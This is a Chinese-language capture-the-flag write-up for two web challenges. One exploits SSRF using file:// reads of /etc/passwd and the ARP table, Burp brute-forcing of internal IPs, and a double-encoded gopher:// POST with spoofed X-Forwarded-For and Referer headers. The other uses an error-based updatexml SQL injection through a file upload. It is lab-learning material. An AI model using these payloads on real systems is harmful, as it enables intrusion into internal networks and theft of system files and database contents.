web
Sign_in
复现地址:http://124.222.24.150:8091/
题目就几行代码
很明显的ssrf,总之看到这几个函数就差不多会想到ssrf
file_get_contents()
fsockopen()
curl_exec()
用file协议看看
?url=file:///etc/passwd
读的出来,那直接看看根目录有没有flag,读不出来,那明显要打内网了。
先看看读一下etc/hosts,看到了个内网ip
也可以读路由表?url=file:///proc/net/arp ,一样的,直接访问这个ip没反应,因为是内网嘛,一般情况下子网掩码都是255.255.255.0,其实看路由表也猜的出来。然后直接burp爆破一下最后一段的1-254就好了
有两个长度不一样,访问100有不同的结果
随便传一个上去后又叫post传个b
那只能用gopher了,用burp构造一个数据包,url编码两次,关于gopher的构造可以看看:(3条消息) gopher协议利用_西部壮仔的博客-CSDN博客_gopherus使用
POST /?a=123 HTTP/1.1
Host: 172.73.23.100
Content-Length: 7
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.88 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Connection: close
b=456
然后传过去:url=gopher://172.73.23.100:80/_编码的内容,注意要加上端口。
加上X-Forwarded-For:127.0.0.1,又说要 从bolean.club访问才可以,再加上Referer: bolean.club
POST /?a=123 HTTP/1.1
Host: 172.73.23.100
Content-Length: 7
X-Forwarded-For:127.0.0.1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.88 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Referer:bolean.club
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Connection: close
b=456
同样编码两次传进去就拿到了
upload
文件上传题,但题目描述说了是sql,直接想到了文件头注入,随便传一个php文件
要改content-type,改了后返回了个地址
访问
直接试一下sql注入
有回显,直接报错注入
1' and updatexml(1,concat(0x7e,(select database()),0x7e),1));#
查的出来,后面查表什么的,怎么都弄不出来,也不知道为什么,最后直接猜在flag表里面的flag字段就出来了
就是那么抽象。。